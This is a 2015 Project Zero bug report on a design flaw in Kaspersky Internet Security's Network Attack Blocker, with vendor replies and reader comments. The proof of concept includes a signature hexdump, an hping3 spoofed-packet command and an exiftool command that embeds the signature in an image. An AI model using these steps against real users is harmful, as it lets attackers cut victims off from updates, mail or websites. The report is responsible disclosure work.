|
|
Kaspersky Internet Security: Network Attack Blocker Design Flaw | |
| Project Member Reported by taviso@google.com, Oct 9 2015 | Back to list | |
A component of Kaspersky Internet Security that’s enabled by default is called the “Network Attack Blocker”, described as “protects the computer against dangerous network activity”. I examined the implementation, and determined that it’s actually a simple stateless packet filter with a pattern-matching signature system. It has no concept of flow reassembly or protocol decoding, which require stateful packet inspection. When the software detects an attack, it adds the source address to an IP blacklist preventing any further communication with the host. There are two obvious weaknesses in this design: * It is not possible to differentiate between a sequenced TCP packet and an unsequenced TCP packet, therefore it is possible to spoof the origin. * It is not possible to determine the application layer state when the packet was received. This means that two easy attacks exist against Kaspersky users. First, simply extracting a signature and sending it to a Kaspersky user with a spoofed source address allows you to force them to blacklist any host (for example, that host could be dnl-01.geo.kaspersky.com or windowsupdate.microsoft.com), preventing them from accessing a resource. For example, if I wanted to prevent the Kaspersky user at 192.168.1.34 from receiving windows updates, I might do this (of course, due to RR DNS a real attack would be more involved than this, but you get the idea). # xxd signature.dmp 0000000: 596f 7520 4a75 7374 2047 6f74 2042 616e You Just Got Ban 0000010: 6e65 6421 0acb 89d2 71e7 0043 5fa8 06c1 ned!....q..C_... 0000020: 2736 1baa 0496 746f e6d0 414b 3b80 85dc '6....to..AK;... 0000030: 823f 5486 9976 b031 77d9 2a4a 9984 d390 .?T..v.1w.*J.... 0000040: e9eb 830c d40a ...... # sudo hping3 -c 1 --spoof www.kaspersky.com -d $(wc -c < signature.dmp) --file signature.dmp -p 80 192.168.1.34 HPING 192.168.1.34 (eno16777736 192.168.1.34): NO FLAGS are set, 40 headers + 70 data bytes --- 192.168.1.34 hping statistic --- 1 packets transmitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms And the result on the host: 11.09.2015 13.54.25;The network attack has been blocked.;"TCP from 77.74.178.24 to port 0 Attacking computer has been blocked.";TCP;77.74.178.24;09/11/2015 13:54:25;0 This user can no longer access kaspersky.com. A second attack relies on the fact that stateless packet inspection cannot understand the higher layer protocol state, because of the lack of context. This can be exploited by pasting a signature into an email, or embedding a signature into an image. Because a stateless firewall doesn’t understand that this is just an email or comment, it observes an attack and blocks it, and the user can no longer communicate with their mail server. To demonstrate this weakness, let’s embed an attack into the metadata of an image: $ file kaspersky.png kaspersky.png: PNG image data, 680 x 383, 8-bit/color RGB, non-interlaced $ xxd signature.dmp 0000000: 596f 7520 4a75 7374 2047 6f74 2042 616e You Just Got Ban 0000010: 6e65 6421 0acb 89d2 71e7 0043 5fa8 06c1 ned!....q..C_... 0000020: 2736 1baa 0496 746f e6d0 414b 3b80 85dc '6....to..AK;... 0000030: 823f 5486 9976 b031 77d9 2a4a 9984 d390 .?T..v.1w.*J.... 0000040: e9eb 830c d40a ...... $ exiftool '-comment<=signature.dmp' kaspersky.png 1 image files updated Now when viewed over http, the Kaspersky user will automatically add the hosting site to an IP blocklist. The inherent design flaw of stateless packet inspection makes this product quite open to abuse. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public.
Project Member
Comment 1
by
taviso@google.com,
Oct 9 2015
,
Oct 9 2015
Update from Kaspersky: Hi Tavis, Thank you again for this report! We’ve reviewed Network Attack Blocker feature based on your input. Indeed there are some signatures that didn’t not check packet for attributes such session id or other. We are in a process of reviewing all feature’s signatures to make sure that they block remote hosts only if following conditions are met: · packet belongs to a valid TCP session · it’s a successfully initiated TCP session · it’s an inbound TCP session In all other cases remote host won’t be blocked. We will release such fix shortly. I’ll update you on a date of this release on Friday. Best regards, Igor
,
Oct 9 2015
I pointed out that they also monitor UDP and ICMP, and must disable that, they responded: Hi Tavis, We will release a fix for the first set of signatures in next few days. All signatures will be checked and corrected if required by 9-Oct. By this date we make sure that blocks are done only for TCP according to the conditions below (no blocks for UDP, ICMP or others) Thanks, Igor
,
Oct 9 2015
Kaspersky have scheduled the final fix for this to be released today, so removing view-restrictions.
,
Oct 10 2015
So your released the issue before the actual fix is available? Poor form.
,
Oct 10 2015
I think you're confused. The fix was available on October 8th, the issue was reported on September 11th. The issue was released on October 9th. This schedule follows our documented disclosure policies.
,
Oct 11 2015
I am surprised that these anti-virus software manufacturers don't take security seriously. In addition to making some trivial mistakes, I have not seen any public advisories or CVEs from them regarding these issues.
,
Oct 12 2015
Good work is appreciated. A Kaspersky user since 8 years. So far, we have been living with a false sense of security. I am glad that Kaspersky is taking corrective actions. |
||
| ► Sign in to add a comment | ||
